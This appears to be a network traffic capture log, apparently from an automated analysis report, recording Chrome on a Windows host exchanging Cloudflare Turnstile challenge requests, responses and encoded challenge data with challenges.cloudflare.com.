2025-01-13 20:17:27 UTC	1369	IN	Data Raw: 61 57 64 5a 47 32 42 69 47 39 77 6a 5a 32 6c 64 5a 57 7a 6f 72 4b 62 69 36 31 37 71 48 69 77 6b 58 71 45 75 71 53 78 71 72 53 6d 6e 4d 47 5a 6d 35 6d 77 30 38 4b 73 79 63 6d 79 73 70 57 6b 79 63 58 52 30 37 33 50 33 39 44 4f 6f 4e 66 62 30 72 6d 6f 32 64 50 6a 33 2b 50 64 34 38 6a 4f 79 62 33 7a 35 4f 58 78 32 72 58 6e 7a 74 30 41 38 2f 58 4a 2f 62 7a 54 31 51 44 41 31 39 72 5a 78 4e 76 64 78 41 34 4b 44 65 38 45 39 51 50 71 39 76 62 6d 39 2b 76 35 2f 52 37 59 39 69 44 74 37 51 59 54 2b 67 62 38 42 52 62 33 43 2f 30 4e 42 42 7a 39 2f 76 73 7a 4b 67 34 35 42 54 41 59 4b 78 51 52 47 69 33 36 44 2f 34 66 49 42 34 50 4a 7a 38 59 43 55 6b 5a 4e 77 30 67 4d 69 46 4e 51 56 4d 65 49 6a 68 4c 47 55 51 56 4f 56 55 59 4c 7a 6f 67 48 52 73 77 58 43 63 79 55 55 64 41 Data Ascii: aWdZG2BiG9wjZ2ldZWzorKbi617qHiwkXqEuqSxqrSmnMGZm5mw08KsycmyspWkycXR073P39DOoNfb0rmo2dPj3+Pd48jOyb3z5OXx2rXnzt0A8/XJ/bzT1QDA19rZxNvdxA4KDe8E9QPq9vbm9+v5/R7Y9iDt7QYT+gb8BRb3C/0NBBz9/vszKg45BTAYKxQRGi36D/4fIB4PJz8YCUkZNw0gMiFNQVMeIjhLGUQVOVUYLzogHRswXCcyUUdA
2025-01-13 20:17:27 UTC	1369	IN	Data Raw: 35 75 62 37 4f 70 6b 6f 69 71 73 59 69 57 6a 71 6c 2b 6c 5a 42 30 67 37 6d 74 76 4a 56 36 68 61 47 42 75 49 57 70 6e 63 65 66 6d 38 62 48 7a 4b 53 79 72 64 6a 57 75 4c 4f 58 75 4b 69 57 33 39 71 35 30 4d 47 39 33 4f 57 33 77 74 33 68 77 72 69 36 33 65 71 76 77 61 2f 72 30 38 48 70 7a 62 61 33 31 4b 2f 71 74 65 48 4c 37 75 32 36 77 4d 36 39 2f 50 54 66 31 2f 63 4a 34 50 73 41 37 66 72 54 7a 68 48 79 38 52 62 6f 32 4e 63 62 31 67 76 56 41 75 73 50 44 74 2f 69 41 65 45 58 2f 42 59 62 39 51 49 65 48 51 6b 43 2b 78 51 42 39 42 62 77 46 54 48 33 43 42 62 37 2b 43 7a 34 47 68 55 45 4d 6b 4d 6b 4f 54 6b 79 47 51 4e 4e 49 41 67 35 48 69 6c 52 44 45 45 56 48 79 4a 42 52 79 38 75 4f 42 55 62 4f 54 38 2b 4f 43 39 43 51 31 4a 4a 51 47 52 46 4e 31 70 61 52 55 49 77 52 Data Ascii: 5ub7OpkoiqsYiWjql+lZB0g7mtvJV6haGBuIWpncefm8bHzKSyrdjWuLOXuKiW39q50MG93OW3wt3hwri63eqvwa/r08Hpzba31K/qteHL7u26wM69/PTf1/cJ4PsA7frTzhHy8Rbo2Ncb1gvVAusPDt/iAeEX/BYb9QIeHQkC+xQB9BbwFTH3CBb7+Cz4GhUEMkMkOTkyGQNNIAg5HilRDEEVHyJBRy8uOBUbOT8+OC9CQ1JJQGRFN1paRUIwR
2025-01-13 20:17:27 UTC	1369	IN	Data Raw: 72 72 58 53 75 66 4b 65 55 64 35 61 72 6e 34 36 44 6f 4c 79 36 73 73 65 6f 79 34 65 35 6d 59 72 44 78 70 32 47 6a 71 50 46 31 73 32 35 33 4b 6e 50 73 36 75 38 72 5a 71 7a 31 64 72 58 32 4c 44 66 75 65 44 70 79 38 37 66 35 63 33 42 35 4f 76 65 34 72 2b 76 32 75 54 6a 74 73 2f 53 38 74 55 41 7a 39 7a 34 7a 67 44 78 2f 67 72 6d 78 63 49 42 33 50 44 65 44 52 4d 46 35 66 34 41 39 76 49 54 30 39 66 79 31 4f 38 62 46 66 62 67 47 66 72 6a 49 76 58 35 35 53 45 6e 2b 67 76 75 4b 67 77 50 49 79 41 74 46 54 48 31 4f 44 49 6c 4a 6a 59 58 4d 69 6f 71 44 76 6f 66 4f 6a 34 6f 42 69 63 30 4d 30 45 63 49 41 59 78 4d 43 41 30 4b 54 45 53 46 45 31 46 45 6b 77 71 55 31 51 38 56 6b 78 41 4f 31 4d 36 51 7a 34 78 4f 44 4a 71 5a 45 67 75 58 45 5a 63 58 6b 64 45 54 69 31 71 57 45 Data Ascii: rrXSufKeUd5arn46DoLy6sseoy4e5mYrDxp2GjqPF1s253KnPs6u8rZqz1drX2LDfueDpy87f5c3B5Ove4r+v2uTjts/S8tUAz9z4zgDx/grmxcIB3PDeDRMF5f4A9vIT09fy1O8bFfbgGfrjIvX55SEn+gvuKgwPIyAtFTH1ODIlJjYXMioqDvofOj4oBic0M0EcIAYxMCA0KTESFE1FEkwqU1Q8VkxAO1M6Qz4xODJqZEguXEZcXkdETi1qWE
2025-01-13 20:17:27 UTC	1369	IN	Data Raw: 6c 59 36 6a 6b 62 69 6b 68 4c 4f 6f 68 5a 32 61 7a 4c 69 2b 69 73 32 37 6f 61 54 55 7a 6f 69 4a 32 4c 71 51 71 64 76 59 74 62 43 5a 72 38 36 5a 7a 4c 43 30 30 61 61 38 36 4b 48 49 31 36 71 72 71 2b 2f 54 77 38 7a 6b 72 65 76 71 73 37 69 7a 2b 72 62 71 74 65 6a 4c 32 4f 33 43 32 41 57 39 35 50 50 47 78 2b 51 50 43 51 37 59 37 64 41 4c 38 75 30 42 35 2b 33 4c 2b 2b 7a 57 35 77 7a 76 41 50 4d 45 39 4e 30 6d 46 50 63 4a 41 77 63 57 42 75 54 73 4a 77 6b 63 4d 69 6e 77 37 43 59 7a 36 68 4d 76 4d 42 50 76 44 68 63 56 41 68 49 75 4d 2f 73 56 42 52 6c 4c 47 41 6f 49 44 42 73 78 50 46 41 50 43 6b 52 55 4c 6b 6f 5a 45 53 4d 76 57 54 68 41 4b 69 6f 72 4e 7a 51 62 54 32 52 49 4a 57 46 6e 53 6a 5a 71 50 79 68 42 54 44 73 74 56 56 39 57 55 31 46 50 63 7a 78 6c 57 47 74 Data Ascii: lY6jkbikhLOohZ2azLi+is27oaTUzoiJ2LqQqdvYtbCZr86ZzLC00aa86KHI16qrq+/Tw8zkrevqs7iz+rbqtejL2O3C2AW95PPGx+QPCQ7Y7dAL8u0B5+3L++zW5wzvAPME9N0mFPcJAwcWBuTsJwkcMinw7CYz6hMvMBPvDhcVAhIuM/sVBRlLGAoIDBsxPFAPCkRULkoZESMvWThAKiorNzQbT2RIJWFnSjZqPyhBTDstVV9WU1FPczxlWGt
2025-01-13 20:17:27 UTC	1369	IN	Data Raw: 4c 7a 49 6c 35 61 6f 6d 35 6d 35 70 59 32 74 6f 61 65 31 68 38 47 6e 77 62 4b 73 31 59 36 57 78 73 6d 71 31 73 4c 4e 31 74 4c 47 30 64 6d 66 79 74 58 64 36 73 37 5a 33 38 69 38 38 4b 7a 54 78 2b 37 6c 30 73 37 4c 32 50 6a 70 38 39 58 76 2f 62 57 32 34 39 7a 59 42 39 33 2b 76 51 7a 4e 2f 73 37 47 33 4f 7a 71 45 75 73 51 44 4f 37 59 31 74 50 58 48 42 45 4e 2b 42 4d 61 39 50 7a 64 46 75 62 39 39 76 33 7a 39 43 49 4f 4d 66 77 50 48 68 55 50 41 42 41 43 46 50 41 71 45 78 63 4a 39 67 77 66 48 41 4d 69 42 51 4c 34 46 43 46 44 41 6a 73 56 41 43 63 59 52 45 67 77 54 45 59 49 4b 30 6b 50 55 46 63 54 4c 6c 41 36 49 43 6f 35 58 53 34 79 50 6a 59 78 56 45 59 70 4c 47 55 75 52 47 77 71 63 55 31 43 56 6b 6c 76 62 57 34 33 56 58 42 34 61 6b 30 38 4f 49 4d 38 54 30 4a 6c Data Ascii: LzIl5aom5m5pY2toae1h8GnwbKs1Y6Wxsmq1sLN1tLG0dmfytXd6s7Z38i88KzTx+7l0s7L2Pjp89Xv/bW249zYB93+vQzN/s7G3OzqEusQDO7Y1tPXHBEN+BMa9PzdFub99v3z9CIOMfwPHhUPABACFPAqExcJ9gwfHAMiBQL4FCFDAjsVACcYREgwTEYIK0kPUFcTLlA6ICo5XS4yPjYxVEYpLGUuRGwqcU1CVklvbW43VXB4ak08OIM8T0Jl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	62512	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:28 UTC	597	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/96814495:1736795532:nJXw9Ah0pI6fzqrx22pZro_KXGNUez3UM1CqCt48c0k/901811ce6a59f797/SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:28 UTC	375	IN	HTTP/1.1 404 Not Found Date: Mon, 13 Jan 2025 20:17:28 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: zI8xf+kK8DLNCTL6s5h6FQ==$JUeu71BauoPVxykxRuOm8w== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901811e9c9d34361-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:28 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	62513	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:29 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/901811ce6a59f797/1736799447628/97a1321bf60fd34b010418c66160fde08b280be1480192961bae5dcd410d4791/M1z6X6BT5z0e7za HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:29 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Mon, 13 Jan 2025 20:17:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-13 20:17:29 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 6c 36 45 79 47 5f 59 50 30 30 73 42 42 42 6a 47 59 57 44 39 34 49 73 6f 43 2d 46 49 41 5a 4b 57 47 36 35 64 7a 55 45 4e 52 35 45 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gl6EyG_YP00sBBBjGYWD94IsoC-FIAZKWG65dzUENR5EAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-13 20:17:29 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	62514	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:29 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901811ce6a59f797/1736799447630/76HKqqu4KYOhJKZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:30 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:30 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901811f2df0741c3-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:30 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 57 08 02 00 00 00 7d 6e 77 00 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRdW}nwIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	62515	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:30 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901811ce6a59f797/1736799447630/76HKqqu4KYOhJKZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:30 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:30 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901811f6c9e9443e-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:30 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 57 08 02 00 00 00 7d 6e 77 00 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRdW}nwIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	62516	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:30 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/96814495:1736795532:nJXw9Ah0pI6fzqrx22pZro_KXGNUez3UM1CqCt48c0k/901811ce6a59f797/SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32456 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:30 UTC	16384	OUT	Data Raw: 76 5f 39 30 31 38 31 31 63 65 36 61 35 39 66 37 39 37 3d 79 78 50 30 75 43 73 49 6d 2d 78 33 78 33 4b 78 73 41 73 2d 38 48 72 2d 73 43 33 7a 33 4f 30 32 74 42 76 4e 33 6d 30 6a 78 76 51 33 4d 47 73 48 5a 4f 73 4e 33 68 65 33 76 48 30 33 58 33 53 30 6a 50 33 4d 33 46 42 33 69 76 33 41 70 33 39 75 33 78 30 5a 33 46 4f 33 67 33 57 4f 33 49 72 69 4e 36 41 33 6b 41 59 50 65 48 4f 33 35 77 69 24 43 33 4e 48 73 36 33 69 44 72 48 75 4d 33 76 50 73 31 71 33 47 77 4b 4b 41 33 33 42 6d 33 68 57 33 33 72 4b 77 49 33 47 79 4a 33 33 54 35 48 77 66 49 4e 48 41 33 24 38 50 62 4e 6a 75 42 61 50 33 32 4e 38 32 48 65 56 77 35 72 41 4f 73 47 59 76 33 6f 46 59 78 33 41 79 48 36 48 48 55 68 69 4b 42 4e 71 6b 6a 48 62 4c 4e 30 41 4b 5a 52 51 59 6a 61 51 68 58 30 45 4c 32 41 56 Data Ascii: v_901811ce6a59f797=yxP0uCsIm-x3x3KxsAs-8Hr-sC3z3O02tBvN3m0jxvQ3MGsHZOsN3he3vH03X3S0jP3M3FB3iv3Ap39u3x0Z3FO3g3WO3IriN6A3kAYPeHO35wi$C3NHs63iDrHuM3vPs1q3GwKKA33Bm3hW33rKwI3GyJ33T5HwfINHA3$8PbNjuBaP32N82HeVw5rAOsGYv3oFYx3AyH6HHUhiKBNqkjHbLN0AKZRQYjaQhX0EL2AV
2025-01-13 20:17:30 UTC	16072	OUT	Data Raw: 4b 58 4b 73 67 57 47 59 2d 65 4e 48 32 6e 61 64 70 30 73 56 33 51 33 57 33 43 30 43 67 33 50 33 41 4f 73 59 33 31 33 41 48 76 69 33 68 30 46 44 73 38 33 4f 49 41 42 76 4c 65 58 33 72 6f 76 66 4f 30 30 5a 50 33 4e 33 67 65 33 6d 33 45 33 68 78 43 33 43 74 33 6a 30 47 6d 33 72 33 76 30 5a 71 4a 69 33 54 30 46 33 73 78 73 59 31 6d 65 76 78 4b 43 42 32 33 43 63 61 58 79 50 78 73 47 33 43 48 73 41 76 49 48 4a 55 4d 72 33 49 41 7a 41 47 33 76 42 30 4d 47 37 30 73 2d 33 36 30 4c 51 76 64 61 74 34 77 63 52 49 33 4a 33 6e 63 4a 50 33 74 33 73 30 43 4e 30 5a 46 41 48 43 59 33 4a 30 79 48 73 59 33 55 30 50 4f 76 73 4f 66 78 50 30 47 43 33 24 30 43 33 73 4e 33 5a 4b 72 30 46 45 33 72 30 32 4f 73 74 33 62 30 56 6d 73 48 33 31 33 72 42 33 41 73 24 30 47 30 72 41 33 47 Data Ascii: KXKsgWGY-eNH2nadp0sV3Q3W3C0Cg3P3AOsY313AHvi3h0FDs83OIABvLeX3rovfO00ZP3N3ge3m3E3hxC3Ct3j0Gm3r3v0ZqJi3T0F3sxsY1mevxKCB23CcaXyPxsG3CHsAvIHJUMr3IAzAG3vB0MG70s-360LQvdat4wcRI3J3ncJP3t3s0CN0ZFAHCY3J0yHsY3U0POvsOfxP0GC3$0C3sN3ZKr0FE3r02Ost3b0VmsH313rB3As$0G0rA3G
2025-01-13 20:17:30 UTC	322	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:30 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26312 Connection: close cf-chl-gen: 3Pa8mY1hwVQO7/peFvR0+S6wkcnTrfdxDM3ZVg0Sgl+339MAEwlodDnGe+KGp5fp$KMjVJcbljfKu5AtgYoUoDw== Server: cloudflare CF-RAY: 901811f6b9555e6d-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:30 UTC	1047	IN	Data Raw: 6d 4b 47 61 78 63 75 61 78 4b 33 41 69 6f 6d 72 76 73 61 6f 6b 34 37 51 70 5a 62 46 30 4c 47 61 79 64 53 74 33 4d 37 58 32 39 7a 48 77 65 58 6a 79 2b 48 47 70 71 62 61 33 62 6e 75 73 73 65 7a 30 65 48 67 35 64 76 59 38 2f 48 70 7a 41 44 7a 34 4c 33 67 37 76 66 31 38 66 72 61 31 39 54 4c 35 64 37 74 2b 74 33 4f 39 51 59 4f 30 78 45 4e 46 66 41 58 39 51 34 55 39 2f 67 61 39 74 30 62 35 68 4d 6a 41 78 6f 67 42 2b 6f 70 37 67 63 6b 36 65 6b 4d 48 77 4d 75 47 69 67 32 4e 42 66 31 39 69 67 4c 4c 44 6f 56 50 66 78 43 4d 30 4d 6c 4f 6b 41 6b 4a 6b 59 4e 4f 54 77 53 4c 45 46 53 4a 6c 63 58 44 42 45 6f 4c 6c 56 4a 57 52 6f 7a 50 55 34 34 50 6b 4d 66 55 6b 68 6c 4f 7a 35 70 56 32 56 63 4c 56 78 55 55 6e 56 68 52 6c 6c 7a 4f 31 4a 6f 56 30 78 50 67 6a 68 50 59 6b 36 Data Ascii: mKGaxcuaxK3Aiomrvsaok47QpZbF0LGaydSt3M7X29zHweXjy+HGpqba3bnussez0eHg5dvY8/HpzADz4L3g7vf18fra19TL5d7t+t3O9QYO0xENFfAX9Q4U9/ga9t0b5hMjAxogB+op7gck6ekMHwMuGig2NBf19igLLDoVPfxCM0MlOkAkJkYNOTwSLEFSJlcXDBEoLlVJWRozPU44PkMfUkhlOz5pV2VcLVxUUnVhRllzO1JoV0xPgjhPYk6
2025-01-13 20:17:30 UTC	1369	IN	Data Raw: 61 75 72 47 56 73 73 72 67 74 65 44 59 72 72 76 65 74 64 62 64 70 62 7a 6a 79 61 58 72 79 4f 61 72 72 2b 76 79 78 75 48 49 79 4e 44 63 7a 62 62 2b 37 4e 44 68 32 39 2f 75 33 72 33 46 41 4f 48 30 43 77 4c 4a 78 66 34 4d 7a 4f 34 48 7a 64 38 56 35 52 62 31 47 75 6b 48 38 66 76 37 49 68 6a 55 2b 52 6a 36 47 76 34 63 38 66 49 71 42 69 30 67 41 42 33 36 48 52 54 30 4a 43 73 72 46 42 54 32 42 6a 30 6e 4d 7a 55 4a 46 78 49 69 47 7a 56 46 4e 6a 64 44 4c 41 63 35 49 43 39 4f 53 78 77 6d 50 79 63 2f 49 6c 42 4e 54 79 51 70 46 69 30 76 46 6c 39 62 58 6b 45 58 57 47 55 34 4f 55 70 6b 52 55 31 66 57 45 4d 38 54 6d 56 77 64 57 56 55 53 6b 35 37 53 6c 77 37 53 46 4e 76 4f 56 67 35 51 58 46 6e 58 6f 52 49 64 31 5a 74 5a 34 79 4b 59 58 46 65 6b 6d 52 2f 62 57 56 68 6c 56 Data Ascii: aurGVssrgteDYrrvetdbdpbzjyaXryOarr+vyxuHIyNDczbb+7NDh29/u3r3FAOH0CwLJxf4MzO4Hzd8V5Rb1GukH8fv7IhjU+Rj6Gv4c8fIqBi0gAB36HRT0JCsrFBT2Bj0nMzUJFxIiGzVFNjdDLAc5IC9OSxwmPyc/IlBNTyQpFi0vFl9bXkEXWGU4OUpkRU1fWEM8TmVwdWVUSk57Slw7SFNvOVg5QXFnXoRId1ZtZ4yKYXFekmR/bWVhlV
2025-01-13 20:17:30 UTC	1369	IN	Data Raw: 71 75 44 5a 73 2b 43 6d 73 70 37 70 75 74 2f 6f 74 2b 48 6a 30 66 44 49 36 65 6a 6d 39 63 53 76 7a 2b 66 52 79 4d 72 37 32 2f 37 54 42 4e 2b 37 31 65 4c 39 43 74 55 43 78 4f 50 6d 7a 41 37 4c 32 51 63 48 46 52 50 6e 7a 77 30 44 2b 2b 72 59 36 64 33 34 33 77 48 61 2b 41 59 48 2b 78 4d 53 39 77 73 6f 34 2f 34 68 4a 65 2f 2b 49 51 63 52 49 77 37 32 45 69 73 77 4d 53 34 48 44 44 4d 62 47 68 51 33 50 41 46 43 42 45 6f 35 46 44 55 45 49 53 6f 59 53 69 63 66 54 6b 30 33 4a 6c 6b 50 49 79 73 59 47 52 6b 56 57 79 77 35 47 69 31 47 50 6b 49 6a 56 55 45 6e 58 32 51 70 62 45 56 79 59 54 78 64 64 6b 74 42 59 6d 35 4d 61 32 64 76 61 31 59 2f 57 47 4a 52 51 6f 4b 44 65 32 42 52 68 32 71 4b 53 47 71 4a 59 32 74 77 58 47 68 78 69 48 61 54 68 34 4f 58 54 6f 32 47 62 6e 4e Data Ascii: quDZs+Cmsp7put/ot+Hj0fDI6ejm9cSvz+fRyMr72/7TBN+71eL9CtUCxOPmzA7L2QcHFRPnzw0D++rY6d343wHa+AYH+xMS9wso4/4hJe/+IQcRIw72EiswMS4HDDMbGhQ3PAFCBEo5FDUEISoYSicfTk03JlkPIysYGRkVWyw5Gi1GPkIjVUEnX2QpbEVyYTxddktBYm5Ma2dva1Y/WGJRQoKDe2BRh2qKSGqJY2twXGhxiHaTh4OXTo2GbnN
2025-01-13 20:17:30 UTC	1369	IN	Data Raw: 74 2f 61 76 39 6e 69 34 4b 44 6d 36 73 66 71 32 39 37 42 31 64 66 69 36 72 44 62 35 75 37 37 33 2b 72 77 32 65 50 75 38 37 7a 52 41 63 48 6f 33 50 37 33 43 4d 6a 6d 38 66 44 6d 36 41 4d 53 30 77 6f 4b 42 65 62 74 47 78 6b 4e 41 52 2f 35 34 64 38 47 34 43 45 4a 4b 68 62 2b 39 53 73 59 37 66 33 71 42 79 6a 73 46 79 72 31 37 78 67 70 38 78 7a 30 4e 66 6b 64 45 45 4d 2b 44 67 59 77 42 53 4d 55 46 68 34 39 53 43 5a 46 53 78 46 4d 56 44 42 48 44 55 6f 6a 55 31 51 39 4b 30 5a 51 55 69 35 62 57 43 38 33 48 46 64 46 58 53 52 45 4f 68 39 74 59 55 35 68 53 69 78 4e 55 31 46 7a 61 31 70 44 65 57 6f 33 4f 6e 46 31 61 31 4e 43 63 32 39 39 65 58 31 79 57 30 70 37 66 46 74 6f 6a 32 42 74 6a 34 64 65 6c 32 57 46 6a 6e 52 70 56 70 43 51 65 46 35 73 6a 48 35 57 6c 6e 71 47 Data Ascii: t/av9ni4KDm6sfq297B1dfi6rDb5u773+rw2ePu87zRAcHo3P73CMjm8fDm6AMS0woKBebtGxkNAR/54d8G4CEJKhb+9SsY7f3qByjsFyr17xgp8xz0NfkdEEM+DgYwBSMUFh49SCZFSxFMVDBHDUojU1Q9K0ZQUi5bWC83HFdFXSREOh9tYU5hSixNU1Fza1pDeWo3OnF1a1NCc299eX1yW0p7fFtoj2Btj4del2WFjnRpVpCQeF5sjH5WlnqG
2025-01-13 20:17:30 UTC	1369	IN	Data Raw: 6a 65 33 73 58 50 30 50 54 77 38 73 33 31 7a 75 33 6f 76 4e 54 6d 79 37 4c 64 31 77 47 36 39 50 72 56 78 41 48 64 39 2f 30 43 43 50 76 36 43 75 4d 51 43 51 33 73 35 64 44 51 30 67 54 6e 33 50 30 49 41 69 4c 68 48 65 34 51 47 42 4c 31 4b 68 7a 69 43 66 6e 38 37 2b 77 77 4a 79 30 32 41 69 6b 41 41 53 49 44 4a 68 34 35 45 41 73 2b 41 68 38 56 52 41 56 47 47 52 45 53 47 51 4d 63 47 6a 38 68 52 42 45 50 4b 43 38 6d 56 30 4a 45 4c 53 56 48 4c 54 4d 58 53 7a 59 37 4c 56 38 78 4f 42 35 46 53 6b 41 34 51 55 4e 49 54 46 34 75 51 79 70 69 62 55 74 54 61 6e 6c 51 62 58 74 62 54 32 39 63 4f 31 6c 4f 50 45 39 58 55 31 6c 6a 61 46 65 43 69 6d 70 71 65 6b 78 6b 62 70 4b 56 5a 58 4a 67 6c 33 53 62 62 58 74 35 61 33 56 36 65 35 4a 63 64 